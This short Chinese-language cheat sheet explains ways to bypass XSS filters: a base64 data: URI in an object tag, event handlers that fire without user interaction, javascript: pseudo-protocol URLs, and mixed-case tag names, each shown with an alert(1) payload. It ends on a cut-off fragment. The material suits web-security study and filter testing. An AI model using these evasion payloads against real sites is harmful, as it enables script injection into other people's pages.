XSS过滤的绕过
脚本标签
如果script被过滤的话,可以使用伪协议的方法:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
其中PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
为base64编码的<script>alert(1)</script>
事件处理器
不需要用户交互的可执行js的事件处理器:
onreadystatechange(xml,style,iframe,object,img,input,isindex,bground)
onpropertychange
onbeforeactivate
onfocusin
onactivate
注意:在HTML5中,结束标签中也可以使用事件处理器
脚本伪协议
脚本伪协议可以用在各种位置,在需要URL的属性中执行行内脚本,如:
<object data=javascript:alert(1)>
标签名称
通过改变标签名称的大小写,可以避开最简单的过滤:
<iMg onerror=alert(1) src=a>
<